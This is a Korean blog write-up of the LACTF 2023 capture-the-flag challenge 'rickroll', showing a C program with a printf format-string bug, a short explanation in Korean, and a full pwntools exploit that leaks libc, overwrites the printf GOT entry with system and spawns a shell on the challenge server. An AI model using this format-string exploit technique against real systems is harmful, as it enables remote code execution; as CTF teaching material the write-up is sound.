Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[LACTF 2023] rickroll(Write-up) 본문

Hack/CTF

[LACTF 2023] rickroll(Write-up)

CIDY 2023. 2. 14. 18:16

 

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

코드는 매우 간단하다. 풀이는 더 간단하다. fgets덕분에 사실상 무한 fsb가 가능한 상황이라 다양한 방향의 풀이가 가능해진다.

일단 뭘 해도 웬만하면 립씨릭이 우선이다. fsb의 %p기능을 이용해서 릭 가능하다.

got overwrite가 가능하기 때문에 립씨릭과 동시에 싹 처리해버릴 수도 있을 것 같지만 나는 main을 다시 도는 쪽을 선택했다. 그러려면 main_count를 덮어야 하는데 pie가 없고 전역변수이기 때문에 이것도 간단히 가능하다. 그런 다음 printf의 got를 system으로 2바이트씩 분할해서 덮고, main_count를 다시 덮어서 메인을 한번 더 돈다.
그럼 printf(buf)부분에서 /bin/sh를 보내주면 system("/bin/sh")가 되어서 쉘이 바로 따진다.

from pwn import *

puts_got = 0x404018
main_ret = 0x401152
main_count = 0x404068
printf_got = 0x404028

#p = process("./rickroll")
p = remote("lac.tf", 31135)
e = ELF("./rickroll")
libc = e.libc

pay = b""
pay += b"%16$lln"
pay += f"%{main_ret}c".encode()
pay += b"%17$lln"
pay += b"%39$p"
pay = pay.ljust(0x50, b"A")
pay += p64(main_count)
pay += p64(puts_got)

p.sendline(pay)

p.recvuntil(b"0x")
lsm = int(p.recvn(12), 16) 
libc_base = lsm - 0x026d0a
print(hex(libc_base))
system = libc_base + 0x048e50

system_low = system & 0xffff
system_mid = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low

if system_mid > system_low:
    mid = system_mid - system_low
else:
    mid = 0x10000 + system_mid - system_low

if system_high > system_mid:
    high = system_high - system_mid
else: 
    high = 0x10000 + system_high - system_mid

pay = b""
pay += b"%16$lln"
pay += f"%{low}c".encode()
pay += b"%12$hn"
pay += f"%{mid}c".encode()
pay += b"%13$hn"
pay += f"%{high}c".encode()
pay += b"%14$hn"
pay = pay.ljust(0x30, b"\x00")
pay += p64(e.got['printf'])
pay += p64(e.got['printf'] + 2)
pay += p64(e.got['printf'] + 4)
pay = pay.ljust(0x50, b"A")
pay += p64(main_count)

p.sendline(pay)
p.sendline(b"/bin/sh\x00")


p.interactive()

 

flag

'Hack > CTF' 카테고리의 다른 글

[MHSCTF 2023] Feb. 1 — Balloons  (0) 2023.02.15
[LACTF 2023] rut-roh-relro  (0) 2023.02.14
[CCE 2022] proximity(Write-up 작성중)  (0) 2023.02.10
[CCE 2022] byenance  (0) 2023.02.09
[DiceCTF 2023] bop  (0) 2023.02.05